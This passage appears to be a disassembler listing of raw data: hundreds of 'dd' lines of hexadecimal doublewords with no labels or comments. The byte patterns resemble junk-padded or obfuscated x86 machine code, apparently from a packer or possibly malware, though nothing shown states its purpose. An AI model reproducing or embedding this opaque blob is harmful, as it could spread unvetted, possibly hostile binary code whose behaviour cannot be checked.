		dd 46000000h, 6691C356h, 70D8C381h, 6890Fh, 85330000h
		dd 64D2D1Dh, 95FF006Ah,	64D0511h, 2CEBC08Bh, 0CB6B3842h
		dd 678D4911h, 6DADF841h, 826ED237h, 0E571285Eh,	0AAC9A501h
		dd 7685A360h, 7EB947F0h, 39A5B141h, 0C76CE2D3h,	3BDCE2A3h
		dd 0C08Bh, 1A0h	dup(0)
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 9DB7C7C0h, 1314507Bh, 0E0816660h, 5E93351h
		dd 0B7000000h, 3C44E0CCh, 6A9DFC61h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2E1EC356h
		dd 0FDBA451Eh, 6E2B94E6h, 0CE960h, 327B0000h, 9978FFE8h
		dd 524743D5h, 0DE9A550h, 41000000h, 0F6804BABh,	0AE556D4Bh
		dd 5AC7AD5Ah, 6A6161h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0FE8AEC3h, 0C8Ch, 9CBE6000h, 0BF562BCBh
		dd 2FA021A5h, 0E95DF861h, 0Ah, 303F767Ah, 0AEC827DDh, 8D0F1157h
		dd 0Bh,	0FEBF0F60h, 8F0Fh, 1610000h, 60082444h,	9E9h, 0FF430D00h
		dd 18AF816Dh, 0BF0F7142h, 6A5861C7h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 60DFC352h
		dd 6174CF80h, 6AC39Dh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0B6BCB4C3h, 0A8B36B80h, 0C880FDEh
		dd 0F000000h, 68Ah, 8A0F00h, 0F000000h,	0E8Fh, 850F6000h
		dd 0
		dd 8A0Fh, 0F610000h, 118Bh, 0CE900h, 0E9100000h, 9765BE5Ch
		dd 67A41C37h, 0C08B60CEh, 0CFF78B9h, 3850F7Eh, 66000000h
		dd 0F50F98Bh, 387h, 5CE48000h, 0F2BF0F58h, 4880Fh, 0BF660000h
		dd 816690E2h, 66AF34C6h, 0E9EC18BBh, 0Eh, 0F4DA1608h, 4D590CAh
		dd 0E8F3A478h, 66605D76h, 0E8BAD3B9h, 12h, 0D3FF49E3h
		dd 3C68768h, 0F2171111h, 0B58C5342h, 6158406Ch,	0CE8h
		dd 0BC7C400h, 0DEE107A7h, 0F0001E83h, 0C7B70F61h, 14E858h
		dd 0EE600000h, 61BD4696h, 15AD506Ah, 6D446F45h,	43A3F628h
		dd 0C180F735h, 0B9665FDAh, 8E804D1h, 0C4000000h, 0F9F7E443h
		dd 0FCC58D67h, 0CF81665Ah, 870F0A4Bh, 3, 0BE5BC980h, 631A6415h
		dd 0FCB8B66h, 0B81h, 58D0F00h, 66000000h, 78CEC281h, 0EE0CBF66h
		dd 66CF8BFCh, 50CB3FBFh, 0B8D0F58h, 0E9000000h,	6, 5D445FD6h
		dd 0B70FDD02h, 6AE081F9h, 0BE11E2F4h, 579D7F28h, 0FF93BF66h
		dd 11E906B0h, 95000000h, 0FD22188Fh, 0EB24B15Eh, 1FE0EDD5h
		dd 96CACA76h, 0FCB8B66h, 0CE8DFBFh, 0D4000000h,	0FBCB253Dh
		dd 0F2AE7D64h, 6650B333h, 0B55AFB8Bh, 0BFAEB80Fh, 0E9F94F99h
		dd 0Eh,	91106F11h, 5E6EB632h, 52BD513Ch, 0D88BFAFEh, 0B72E0DB9h
		dd 0FABF0F48h, 9DAF9FBBh, 70B7601Fh, 66611BB5h,	0F6F26B9h
		dd 882h, 2850F00h, 60000000h, 0C8BF0F61h, 0AACA8166h, 0BAF28BD6h
		dd 9CDB4BCh, 0CB816660h, 8E90244h, 5A000000h, 9CB096C0h
		dd 61B150DEh, 0A7D58052h, 840F5Ah, 8B000000h, 0E9D18AF9h
		dd 8, 0CF12FA7h, 8B604221h, 0D9BB6660h,	28C0F29h, 0B4000000h
		dd 0D98A612Ah, 0B7C68166h, 10E93Ah, 5FEE0000h, 8691FCECh
		dd 4A9CDC5Dh, 3E442A1Ah, 81660A4Eh, 0E8C442C7h,	10h, 98AF010Fh
		dd 774DE174h, 67735F9Bh, 3133F817h, 14E9h, 685A7B00h, 1B4A1F84h
		dd 9AB79EF2h, 8C5858C4h, 0DAC3D308h, 0DE815FDFh, 0B8417B0h
		dd 7E96060h, 0E7000000h, 6ED831FDh, 5F51EC48h, 61C68B61h
		dd 6E9h, 63842C00h, 0F92723B0h,	0FF20B966h, 66F1B70Fh
		dd 8B0FD68Bh, 5, 0C1B578B9h, 0F5C88B25h, 38B0Fh, 0BF0F0000h
		dd 5E856C9h, 0A1000000h, 61527ED8h, 0FE9h, 33655200h, 910B89ACh
		dd 1C1A4C3Bh, 78534EF9h, 6E95A59h, 48000000h, 0DD810B19h
		dd 85E2B8CEh, 0CB805DC2h, 0BE9ECh, 82C00000h, 14FCC170h
		dd 0E044842Fh, 1CB8660Ch, 0D1BF0F5Fh, 0AE9h, 0C6B08000h
		dd 0F92816D6h, 0BB4296C2h, 0BF93A8Eh, 81F78B66h, 0AB0F0EBh
		dd 0E52CB916h, 0D2815D8Bh, 4BD9C70Ch, 0D381FCF9h, 30648A2Ah
		dd 7950B866h, 11E9D38Bh, 45000000h, 60EBD100h, 0A07A079Ah
		dd 6653DC3Ah, 0EC8EE32Ch, 12E957h, 8B440000h, 51F274D3h
		dd 0F241A19Bh, 740EF95Ch, 0B8CFA6CFh, 0C38B665Fh, 60D8B70Fh
		dd 61F9E78Ah, 39E2BE66h, 6F75EA81h, 0EE94FA3h, 0BA000000h
		dd 4DE27A39h, 0E29A8DFAh, 0A3B76D2Dh, 0C2816652h, 5E922E3h
		dd 0F6000000h, 0AE556D4Bh, 9810Fh, 810F0000h, 3, 0B428EC80h
		dd 0F1B70F50h, 56DE8B66h, 0B830Fh, 5E80000h, 8000000h
		dd 94F10737h, 0E9805B5Eh, 870F6057h, 11h, 0CE9h, 8FF3D900h
		dd 86557596h, 0E4CF8259h, 0FAB70FC3h, 5E961h, 51D70000h
		dd 0BBC1F646h, 4036D252h, 0D3D28166h, 0F546B46Fh, 0E9F8B70Fh
		dd 14h,	0C541CA27h, 3C8501C5h, 0C13CEEA6h, 0A9F39310h
		dd 1E5E4074h, 64C212BBh, 47CC807Bh, 0A890Fh, 52600000h
		dd 8E0F5Eh, 61000000h, 0FFBBF0Fh, 58Ch,	0A020BF00h, 820F4544h
		dd 17h,	12E9h, 7159A700h, 0EAE7A9C4h, 3E20835h,	822B580Dh
		dd 81F68B79h, 0CECEE0E6h, 14E911h, 1CAE0000h, 67E2844Dh
		dd 938D3DACh, 1E60CF5Eh, 0CEFEBE07h, 0E98167B9h, 20525DDDh
		dd 38B0Fh, 0BF0F0000h, 0E8D48AD9h, 0Fh,	25A57566h, 0F837E363h
		dd 0FAF0B3D3h, 665CA552h, 0F858C88Bh, 66CCDA80h, 60282CBBh
		dd 0BE9F38Bh, 1000000h,	28EDEDD0h, 46A49D76h, 0E961DD23h
		dd 10h,	74E24B7Dh, 0A5B9AC83h, 47231031h, 0DE0512F2h, 60C6B70Fh
		dd 7717C681h, 0DE8131B8h, 3CDD4724h, 0DB816661h, 0BF0F2DFFh
		dd 7E8D1h, 0EECA0000h, 319D85D8h, 0F28B66F8h, 0D2B70F5Fh
		dd 0E9C18BF8h, 0Ah, 7B17609Eh, 376F0E22h, 14E9EBE4h, 0FE000000h
		dd 53C9BC9Dh, 0DD24337Dh, 38137D73h, 1C566DF2h,	0F034F95h
		dd 0D86h, 8E900h, 0E6220000h, 0E2B8F103h, 0F60C593h, 23B6C0B7h
		dd 0FD98B61h, 0E8Fh, 6E800h, 0E0650000h, 0CDA93A67h, 0F5FB7B6h
		dd 168Eh, 11E900h, 4B890000h, 0F5E0E37Eh, 60EDBC0h, 35DCC45Eh
		dd 6659EC6Ah, 0E681F38Bh, 3183919Dh, 0FF8DB80h,	280h, 0E8CB8B00h
		dd 11h,	0B4F84249h, 6C2FAC39h, 52B2FFE2h, 0B7208FADh, 5A6160FCh
		dd 6850F60h, 81000000h,	8A9EF7DAh, 61DF8B72h, 0FDFBF0Fh
		dd 985h, 3810F00h, 66000000h, 6E9CE8Bh,	0A6000000h, 2EFE1E39h
		dd 0E8D38B3Eh, 0Dh, 0B5A3D097h,	4EA17E19h, 74BFBC0Bh, 965ABB8Eh
		dd 0FC5E373Fh, 0E2816053h, 2F11EA27h, 59615B53h, 8C469B8h
		dd 0CE95Fh, 0F1830000h,	0A7C3038h, 0C61DFB42h, 0DF8140F9h
		dd 263086E0h, 0C820Fh, 66600000h, 0FBB31BFh, 84h, 840F6100h
		dd 0Fh,	0AE9h, 9DFE7F00h, 7D53C9BCh, 0FDD2433h,	0C8Eh
		dd 6850F00h, 0F000000h,	8Bh, 0BDB96600h, 2840F84h, 8B000000h
		dd 0BE8F0h, 54C50000h, 8E257A9h, 667C2C59h, 81665FC7h
		dd 66159CF7h, 66A20DBEh, 34CFCB81h, 6E9h, 48C9400h, 0E947AC11h
		dd 0Bh,	292D26ABh, 4E6894ADh, 66FF140Ch, 0E8FCF78Bh, 13h
		dd 9E8680BBh, 0A4BB9263h, 55C60194h, 74F2A949h,	0FBDC113h
		dd 38Ah, 0C2B70F00h, 0F1BB15Ah,	83h, 0D9B70F00h, 3B2B35BBh
		dd 66C68A0Bh, 0CE9CA8Bh, 15000000h, 0E1577E57h,	3BA54B4Eh
		dd 0E89352F0h, 8, 0FCF83AB4h, 0A598767Dh, 52DE8166h, 0FF95FFFh
		dd 0C981C1BFh, 60AF9A99h, 8184F680h, 53BD78CEh,	8E967h
		dd 0B2B90000h, 0E75B95Ch, 0BF0F99B8h, 0F180F8F9h, 0C78B66E1h
		dd 7E870B1h, 6A000000h,	8EADAB33h, 0EE818ED6h, 294C21E5h
		dd 80DE8B5Ah, 0BF0F5CC0h, 0C68B66FFh, 820F5656h, 0
		dd 11E9585Bh, 0D0000000h, 54DE782Eh, 3404C1E8h,	0F98AF41Ah
		dd 52DD3D7Ch, 4820Fh, 0BF660000h, 816659D3h, 8105E9CBh
		dd 0F47097F7h, 14E8F93Dh, 6D000000h, 4F19C4E1h,	15C77E47h
		dd 15A8A37h, 0A9DC784Ch, 660CEC8Fh, 815BD08Bh, 0BA625CE6h
		dd 0D1B86617h, 92BA6654h, 18A0F22h, 0FC000000h,	0E2E78166h
		dd 73CF80D5h, 0F98B6657h, 0D2B70F5Bh, 0F5FFB70Fh, 880FDE8Bh
		dd 0Fh,	9E8h, 38BD4700h, 0F67A356Ch, 665B77CDh,	20CDEF81h
		dd 0AE9h, 0B34E1900h, 94C68E1Dh, 819D1B4Bh, 3EA9E6E1h
		dd 5D38B967h, 92BE6053h, 0F2716B3h, 5957FFB7h, 0E9F8C28Bh
		dd 12h,	68A25CCDh, 3D3CEABCh, 1EC6281Dh, 23B46A6Dh, 0BAB469CBh
		dd 10E9h, 0E2ACF600h, 0BA8D1ABFh, 670FC175h, 75F19633h
		dd 5760FCD6h, 8F0Fh, 665E0000h,	611CCEBAh, 0AE8h, 643A9800h
		dd 0F30FADD2h, 57E08A65h, 8E9h,	0CF684B00h, 0F7DAAB4Ah
		dd 8B5F589Fh, 53FE8BD9h, 8166F960h, 61B64FC1h, 95F0B85Ah
		dd 8E0F5687h, 6, 0FA74D881h, 10E919D3h,	0E6000000h, 0CDF7182Ah
		dd 2A14D9EEh, 0EB08543Eh, 0FCE7FE09h, 5E9h, 0DF9E0A00h
		dd 0C5BB9DEAh, 0F96B393Dh, 8A0Fh, 840F0000h, 3,	0E8EFE980h
		dd 7, 0B4624834h, 5E1E76BBh, 1830Fh, 66FC0000h,	0C2BCD281h
		dd 6B1FDA81h, 8B66628Eh, 0D9B70FDEh, 9E9h, 0C32E7D00h
		dd 8A5BBB87h, 8D0FC086h, 17h, 0FE8h, 8496AC00h,	0D5A6953Dh
		dd 0CF6A967Ah, 0EE5ED03Ch, 605E6160h, 8ADB8166h, 0BB961E8h
		dd 0F1FE648h, 282h, 66DA8B00h, 8166C18Bh, 0BF0959F7h, 54DC8088h
		dd 97F78166h, 5253B85Fh, 0BF0F3CE1h, 0D38166FFh, 8A57D64Eh
		dd 0D8805FEBh, 0F68166CFh, 8A0F1697h, 1Bh, 13E860h, 0A41F0000h
		dd 0C346C478h, 0D326B9DFh, 0E7D689A1h, 495C2231h, 8B615AE2h
		dd 81ABB2C2h, 8276E3DBh, 32D88146h, 662BB2AFh, 0BE6ABEBFh
		dd 7CF73EB9h, 0F850Fh, 8E80000h, 51000000h, 0C3991E9Ah
		dd 0F85240D8h, 13E85Eh,	0DC5E0000h, 66EB3F57h, 8CD936F4h
		dd 429F355Bh, 0EB23947Eh, 60F9601Ah, 665F6161h,	0E8DA0EBBh
		dd 14h,	16B1C06Bh, 8F8D61h, 0D7A00D3Bh,	0D629C4F1h, 2C0D0F47h
		dd 3BF1BA66h, 1290BB5Fh, 0F8FC2667h, 0FF560F5h,	0E961C6B7h
		dd 0Eh,	72D2F326h, 19F78400h, 63264988h, 8B66589Ah, 7B57BFD6h
		dd 0EE8470Dh, 37000000h, 0BEFE2EBEh, 0F6AEB917h, 0F85A6B99h
		dd 0D98B669Ch, 0CE959h,	758D0000h, 0C117367Ah, 42DC7B59h
		dd 0BF0F728Dh, 0F6060F9h, 0D78BCEB7h, 12E96161h, 51000000h
		dd 9A077ACCh, 0A3AA0AF4h, 4CCFFAD7h, 3E56BFCEh,	0DE8B57E8h
		dd 0EFBF665Bh, 178F0F2Bh, 0E9000000h, 12h, 470FA121h, 23803EBEh
		dd 361C89B7h, 0B882B891h, 8B66751Dh, 0BA8AB1FEh, 39FD5E4Ch
		dd 0C0D88166h, 66CE816Dh, 0E9047113h, 0Ch, 0F990FEC8h
		dd 9FFA071Ah, 6B1E1CF1h, 1ACF8166h, 1CF08137h, 0E915431Bh
		dd 0Fh,	8BDCD24Dh, 7E8E85ABh, 4FF69C48h, 0FA243DAh, 1782h
		dd 12E900h, 0B4D0000h, 12BD91B5h, 66674C16h, 0FE3CFD08h
		dd 5EDA20BCh, 20DAEB81h, 0FF811A7h, 0B84h, 58E0F00h, 66000000h
		dd 0D58BF181h, 58A0Fh, 0A6BA0000h, 60798F8Ch, 8D0Fh, 880F0000h
		dd 6, 880Fh, 60610000h,	0DE9h, 56284D00h, 5993B6A1h, 0AB5F83D5h
		dd 5E96FD9h, 14000000h,	9C6AD33h, 0F0B96661h, 0C926BE5Bh
		dd 0F9560A61h, 5DDCB85Eh, 0C0812927h, 3F5DD321h, 30D98060h
		dd 0AE9h, 0C658F200h, 0A689D1CEh, 61FD5E11h, 8166C58Ah
		dd 0E999FBC2h, 14h, 0E91F3959h,	8A668991h, 0BB2177A3h
		dd 0E1D0856Dh, 0F835DAD1h, 5E8h, 0DF0FC900h, 805FBF15h
		dd 0B70F25EAh, 0E8B9B6D8h, 6, 0A9AC5362h, 0B8660D3Fh, 665F3263h
		dd 0E9F7C6B8h, 0Ch, 0BB11CDC0h,	4DA6BDFDh, 0FED92876h
		dd 7E8h, 95218900h, 77C2A0B2h, 6659D38Ah, 8AE4B2BFh, 0C8A0FCFh
		dd 0F000000h, 687h, 8B0F00h, 0F5000000h, 0D4F38166h, 50C1B929h
		dd 0B866427Eh, 4FB9207Dh, 0F7A2A28h, 0EE81FAB7h, 23626F9Ah
		dd 0FCCE8B66h, 28A0Fh, 71B00000h, 0F8E0Fh, 0AE90000h, 0AA000000h
		dd 6196E3B4h, 0C157DE0Dh, 6E999h, 0AA030000h, 4EF5CE62h
		dd 6800Fh, 0E6810000h, 34455533h, 10E9h, 1C009A00h, 0E2FF921Fh
		dd 191C3AE0h, 0AF164777h, 6E95067h, 0BC000000h,	0C3BA8B0Dh
		dd 0BF0F58B3h, 816650F0h, 5F1E65F3h, 3860Fh, 8B660000h
		dd 0F51F8FBh, 815FC9BFh, 4DC37EAh, 0BEF38B21h, 60E3924h
		dd 0EE9h, 4F7FAC00h, 6957B6CDh,	2D9145CFh, 0E8C799DAh
		dd 0Bh,	0B94B423Ah, 62CCF9BAh, 0E88A1550h, 13h,	765F78E5h
		dd 0B407040Ah, 0E3B157CEh, 0D6F3EA3Dh, 0F1DD919h, 5E58F8BFh
		dd 4870Fh, 0BF660000h, 0BE6663EFh, 0D18B36E7h, 28F0Fh
		dd 0E78A0000h, 7E9h, 0F7B80C00h, 0BF11496Dh, 6870Fh, 0EB810000h
		dd 1AA2C680h, 0BA2EF381h, 870F4826h, 3,	0E9B6E280h, 8
		dd 627D505Ah, 0F87003D7h, 0FF88B66h, 384h, 0F28B6600h
		dd 0FCD8F680h, 0FE960h,	65190000h, 9A8B2D48h, 867350B0h
		dd 0F877345Fh, 61DBB193h, 860F5160h, 0
		dd 7E85Ah, 1B600000h, 9DB97450h, 0D08B665Dh, 81666159h
		dd 0FB541F1h, 48Fh, 0C5BB6600h,	8B666083h, 8E0F61C7h, 3
		dd 80F6BF0Fh, 10E81CD2h, 44000000h, 5FF71A49h, 123CF1BFh
		dd 0D5D162FFh, 0FB1CBCBh, 535FCABFh, 0F9580FB6h, 3870Fh
		dd 8B660000h, 830FD1h, 53000000h, 0EE8h, 0C1860D00h, 88C8B1BAh
		dd 8F6917AEh, 8BF6A5ACh, 0B15A59C7h, 0AFD6811Ah, 0BA066BE0h
		dd 48DFDEFEh, 0BE9h, 0A9519000h, 0B746C0AAh, 2B902052h
		dd 0EB816652h, 0F59BDBFh, 384h,	59F85200h, 4890Fh, 0BE660000h
		dd 8B668261h, 6676BFC3h, 8B663F25h, 13E9DFh, 48F90000h
		dd 7172BD31h, 0F4579B2Fh, 1512E2B1h, 3B8C3954h,	0E6E3B8B9h
		dd 8D0F4661h, 5, 4C38166h, 0E2B96657h, 0B8665329h, 815F27FCh
		dd 0AA0D3BDAh, 0F1CB301h, 8Eh, 0F60F800h, 10E9DBB7h, 4E000000h
		dd 6C03F3ADh, 46BDDD56h, 5F885F6Ah, 61F6ABC6h, 28C0Fh
		dd 0CF8B0000h, 77C38166h, 18F681C8h, 0E92D71C1h, 10h, 0CB2411ACh
		dd 0F60AF8D8h, 6D881DDDh, 3656A724h, 0BE9C18Bh,	53000000h
		dd 994F8B20h, 930283A2h, 22B81BE5h, 0F73AFFFh, 0EE9C6B7h
		dd 0FE000000h, 0CD317867h, 8C5C7778h, 0CE23C96Ch, 0F9A3B604h
		dd 623D681h, 0D3B11B18h, 0DE9h,	15FB7A00h, 39A92E03h, 85EF15CFh
		dd 665381DAh, 59BC5FBEh, 0BF3BF680h, 7CDBC1E1h,	66F08B66h
		dd 0CDEBF281h, 0E4174EB9h, 12E9606Ah, 8D000000h, 3EF9ACC3h
		dd 93F6D829h, 3016AE99h, 5E37996Ah, 8B6661CBh, 29F081C6h
		dd 6040D31Ch, 13E9h, 0E56F4C00h, 0A6108E7Fh, 22D3797Ah
		dd 7D1A4F36h, 6E7CF474h, 820F60h, 66000000h, 61DE71B8h
		dd 880F6061h, 0Fh, 0AE9h, 0F0450C00h, 0F4DCB5FCh, 6614D6E4h
		dd 61140FB9h, 60A6D880h, 0FD9B70Fh, 6661F0B7h, 0BF0FD88Bh
		dd 8AC88BD6h, 0AE9F3h, 0C9210000h, 0FB5152CEh, 0DB57E85Ah
		dd 681EF381h, 0B70F5D6Dh, 0EE8D3h, 0F17E0000h, 0C62AECADh
		dd 0B6A56C88h, 444926FFh, 0F559F38Bh, 5E9h, 18481A00h
		dd 8166DD85h, 0F330EF6h, 582h, 0CA816600h, 0D38B20B4h
		dd 2840Fh, 0FD8A0000h, 8B6653F5h, 0B70F5EDAh, 11E8D2h
		dd 4A870000h, 0AA7B5F13h, 3EA3C3AAh, 3B29F313h,	0B347BD64h
		dd 860F5FABh, 19h, 11E8h, 1C77B800h, 84C67EE4h,	0D151686Dh
		dd 1BC1C92Ah, 0F78B22C3h, 0BCE78158h, 0F057F40h, 889h
		dd 0C4806000h, 0DF8B661Fh, 5E96061h, 4C000000h,	0BED4F249h
		dd 8F0F60h, 66000000h, 2299E881h, 0FFC6161h, 0BA50CFB7h
		dd 6FD481BFh, 0DA816658h, 0B70FFBFAh, 0CE8B66F9h, 38B0Fh
		dd 8B660000h, 14E9CAh, 0C18C0000h, 4BEAE540h, 4711A1h
		dd 1319C043h, 41E8D414h, 8B66247Bh, 9E9D7h, 0EBAE0000h
		dd 85D34A47h, 66595726h, 5014C8BAh, 14E8h, 62828A00h, 0D3353776h
		dd 0E9E589FEh, 0B0D2991Fh, 68E5D18h, 9E9DEh, 197B0000h
		dd 0FB9FA494h, 5AE9F098h, 2870F58h, 0B3000000h,	0BE9C4h
		dd 0B6F40000h, 0CEA843E8h, 0A0D7D903h, 0C3816671h, 0BF0FC1EFh
		dd 5800FC2h, 0BE000000h, 374790DDh, 5F5B94B8h, 8E92Ch
		dd 0AF210000h, 9193CE38h, 0F2BB7173h, 804C28B2h, 14E95AD5h
		dd 18000000h, 91C00B52h, 65A70902h, 28A19076h, 2FCA75Ah
		dd 609D0886h, 61F85851h, 11E9h,	87443900h, 0F47EA222h
		dd 4F4DC90Eh, 504BDB2Bh, 5153C784h, 1BFF20B8h, 0E85F5964h
		dd 10h,	0C2EA8242h, 1E2E1EE9h, 0E6FDBA45h, 0B96E2B94h
		dd 5870Fh, 0C8B80000h, 591BA26Dh, 1880Fh, 51F80000h, 37629B8h
		dd 6E95E31h, 2C000000h,	0FBC3C234h, 3820F3Ch, 80000000h
		dd 66FC0BD2h, 0FC2698BFh, 53C6BF0Fh, 9820F59h, 0F000000h
		dd 385h, 8CC38000h, 0EE856h, 869F0000h,	0E5C09FC3h, 81047C6Ah
		dd 0A622E3E0h, 3CA8166h, 575B5F76h, 0F5585E53h,	0DE8B6060h
		dd 619BCC80h, 0E6816661h, 0F68067E4h, 90E080D6h, 6850FFCh
		dd 81000000h, 16F4ACD0h, 0F08B6663h, 8166C18Bh,	0B41C2ED1h
		dd 8166522Ch, 59ABC3E0h, 0EF8166F8h, 800FF45Eh,	14h, 0E860Fh
		dd 8E80000h, 0BE000000h, 92FD8E82h, 5F888F85h, 66C38B66h
		dd 0E580C78Bh, 0D181665Ah, 6E9AC1Bh, 84000000h,	6420A6A6h
		dd 81BA6640h, 0CDBE66CBh, 5AF95236h, 890FD08Ah,	1, 0E9FD8AFCh
		dd 12h,	15520AECh, 0A9934614h, 0D30AEFD4h, 995D45h, 8166AAE5h
		dd 0BEF02FC2h, 0A7F4B08h, 8E9h,	76401C00h, 22838245h, 11E986h
		dd 45330000h, 0B0A4D7FDh, 0D8F1237Ah, 0F504B02Eh, 66F1363Ch
		dd 9B1CC281h, 58B0Fh, 81660000h, 566C29D3h, 58B0F5Fh, 0B9000000h
		dd 4DE54D78h, 6E9h, 84952B00h, 0F4CE56Ah, 783h,	81665300h
		dd 58DBA7DBh, 70F1CF81h, 0AE86B0Dh, 38000000h, 49F3B3A4h
		dd 44C0B86Fh, 0EE91Ch, 0DF4D0000h, 5B8046C3h, 21E8B419h
		dd 149CC646h, 0CE85Fh, 51FD0000h, 749A87ACh, 50935FFBh
		dd 8C0F4F1Ch, 0
		dd 0CA8B665Eh, 40C546B9h, 13860F34h, 0E8000000h, 9, 0CA1A6A73h
		dd 0FF8928C6h, 88BB6613h, 0FFC5A96h, 0C82h, 6880F00h, 0F000000h
		dd 87h,	9E9F800h, 0E1000000h, 0A6FA1CADh, 0DF87174Ch, 665BF851h
		dd 778CC181h, 0E944B460h, 9, 0FE610904h, 1AFFBA0Fh, 8E9614Dh
		dd 0D6000000h, 7AF03309h, 0B66C8E63h, 0F5CB19Bh, 587h
		dd 61ABBB00h, 0FC8A7202h, 72C2BA66h, 0AE9h, 19878100h
		dd 0F9BE8838h, 66C3A988h, 7A07C381h, 1840Fh, 0BAF80000h
		dd 56E125F1h, 3AAFB866h, 11810Fh, 0CE90000h, 47000000h
		dd 10480276h, 0A0068810h, 0E95F38D6h, 0Eh, 0F47834F2h
		dd 0E715F750h, 61A8BC46h, 810FE06Fh, 3,	0FC9B70Fh, 8E9D1B7h
		dd 10000000h, 1AF36EC5h, 0F6E98D9h, 58Fh, 0C803B800h, 88BA0A3Dh
		dd 60541AF0h, 60FFB866h, 45D78166h, 880F61CFh, 2, 6E8FBB6h
		dd 0C4000000h, 9FBF4DB9h, 0FE96Ch, 0A6DF0000h, 0F3BC1Fh
		dd 77B368BFh, 62AA03B1h, 0BF0F59CEh, 0BF0F50CEh, 80F95BD9h
		dd 0AE82DDFh, 3B000000h, 939761C0h, 90456C28h, 5FDA8B46h
		dd 0C59419B9h, 1CBEBB4Dh, 66605E09h, 0AD80EA81h, 0A4F68166h
		dd 0B9B861B9h, 5720293Ah, 0C860F5Eh, 0F000000h,	68Ch, 0CBCB8100h
		dd 0F44E57Ah, 584h, 0ED805600h,	0B70F5FD1h, 81F0B0D7h
		dd 7D1028CFh, 8A0F20h, 0E9000000h, 0Ch,	57CBF1F4h, 0E4830A4h
		dd 0F66D92D5h, 11E9h, 49166900h, 2E90FD54h, 0C1FFC738h
		dd 0BBFC0EF1h, 0EE9D37Eh, 0B000000h, 1A4C3B91h,	534EF91Ch
		dd 57A08D78h, 0CA8B6623h, 58F0Fh, 0BABE0000h, 0F714B51h
		dd 95BBF0B7h, 0E92DED85h, 12h, 420EDFA2h, 6C9563D7h, 8CF8EA20h
		dd 819151A8h, 8166B0EBh, 0F92EE4CFh, 5E8h, 2F7C700h, 8A5FC57Fh
		dd 3CDC80D9h, 34D5BE66h, 0B70FF38Bh, 0B966F5F6h, 0BF0FCB14h
		dd 0D08166D3h, 11E99481h, 0C5000000h, 0B82F18F2h, 4B3D8A00h
		dd 39D3BE22h, 9E226BC1h, 0EBE88160h, 6145D855h,	1BBA66FCh
		dd 1A830F4Fh, 52000000h, 12E8h,	9ED3400h, 0C1AE4AB8h, 6C407212h
		dd 567C11Dh, 5EA476D1h,	7E858h,	59C70000h, 8FA362D1h, 0F7BF0FC6h
		dd 10C9815Eh, 0F6F9156h, 8Ah, 5424BA00h, 2EB8655Eh, 0BF44ACBDh
		dd 182F7599h, 0E13DE81h, 0BF666CE1h, 7E867E9h, 60000000h
		dd 424A74CBh, 575874BBh, 0B1EE981h, 0E8591B67h,	0Bh, 5E263AA2h
		dd 0E598B664h, 0FCB4D0B2h, 8BEE8A5Eh, 38C0FF3h,	0F000000h
		dd 8B0FC6B7h, 0Bh, 5820Fh, 0D1B80000h, 666D724Ah, 0B442E3B9h
		dd 8BF5FCCFh, 0B8E0FD6h, 0F000000h, 58Bh, 0E3816600h, 0DE93F1Dh
		dd 0C1000000h, 2808CBF4h, 0CC32D78Bh, 0FD56CC8Dh, 0E9C18B66h
		dd 0Ah,	32E67330h, 918FCA5h, 0F580083Dh, 93CF8181h, 5062E1D4h
		dd 5659F88Bh, 0D1BF0F57h, 66505A5Bh, 9C6EE381h,	10E858h
		dd 17F80000h, 49513003h, 78900CDh, 4977BBE3h, 0BA6612FBh
		dd 0E959F9B7h, 0Ah, 57BC6330h, 4003671Fh, 66F85B17h, 6651D98Bh
		dd 6D7AF781h, 12E5805Ah, 58A0Fh, 0EBF0000h, 0FC36FACAh
		dd 0FFD38166h, 82FBBED9h, 1EBF53D9h, 6020E5B6h,	0D98B6660h
		dd 0F61D88Bh, 28Ch, 61D18B00h, 3810Fh, 0D8800000h, 8D4FBA61h
		dd 57534C86h, 5F595A50h, 810FFA8Ah, 19h, 10E8h,	0AAF37E00h
		dd 0C4C7F7F2h, 971EF0B7h, 33DE1126h, 0CF8B66DFh, 9E95Fh
		dd 0BB5C0000h, 1EF51E9Eh, 0F99A2E82h, 10E9h, 8EE6F700h
		dd 6AAB3A59h, 0FA9BB402h, 5E1AE6CBh, 0FEBF0F30h, 66FABF0Fh
		dd 607DFEB9h, 0D78A85B5h, 5E1FB961h, 0BF0F52AFh, 0BFD681FEh
		dd 0E973B228h, 0Dh, 913AFF9Ah, 0A637D134h, 866181E7h, 0DE960ADh
		dd 7000000h, 0B4D6C408h, 0AFF1100Fh, 8B22A6C8h,	61DF8B66h
		dd 9A41B866h, 0B1B9CA8Bh, 8B7B4994h, 3CC8BBD9h,	0F511962h
		dd 665ED8B7h, 698BCB81h, 5E9h, 67FA3F00h, 0FE8DF34h, 4A000000h
		dd 651DA848h, 5AD9FC74h, 20587C7Eh, 0F5F91E6h, 18Ah, 14E9F900h
		dd 0E5000000h, 6732E88Fh, 0B369137Ch, 9B696BA6h, 3707419h
		dd 0E9F4951Bh, 11h, 0ED8028B7h,	6492C2DDh, 0B12B3DAAh
		dd 3E5FB06Fh, 47D480B7h, 6853B966h, 60D68B66h, 0CE8h, 24D81700h
		dd 77552CE0h, 0BF2DF4B3h, 8E8BFh, 8CBD0000h, 0D41E6F7Fh
		dd 5F592EFAh, 66615B52h, 8BF8F98Bh, 0D68B66FEh,	15880Fh
		dd 10E90000h, 13000000h, 0C7E66E0Eh, 21720D4Dh,	0F2D6DA28h
		dd 0E853200Bh, 0Ah, 585E3289h, 0B16EF3E2h, 0D781B7D4h
		dd 2625D81Ch, 108A0F58h, 0E8000000h, 0Ah, 0F5637705h, 2948FC1h
		dd 0F581A2Eh, 389h, 0DD38000h, 6880Fh, 0F6810000h, 3FCC3931h
		dd 51C18166h, 1C810FD1h, 0E8000000h, 14h, 29001B6h, 0BF81DD52h
		dd 0DC005AA3h, 1B4D5D51h, 8D3F294Fh, 665FD88Bh,	0E9F97EB9h
		dd 6, 0C3240901h, 8B605075h, 10B966CBh,	0B70F612Bh, 0FD78BD3h
		dd 48Fh, 76BA6600h, 0E96060D0h,	7, 0D6419D55h, 6123BCEFh
		dd 0F2B86652h, 0E861595Dh, 8, 9C85A177h, 356B829Dh, 934AB853h
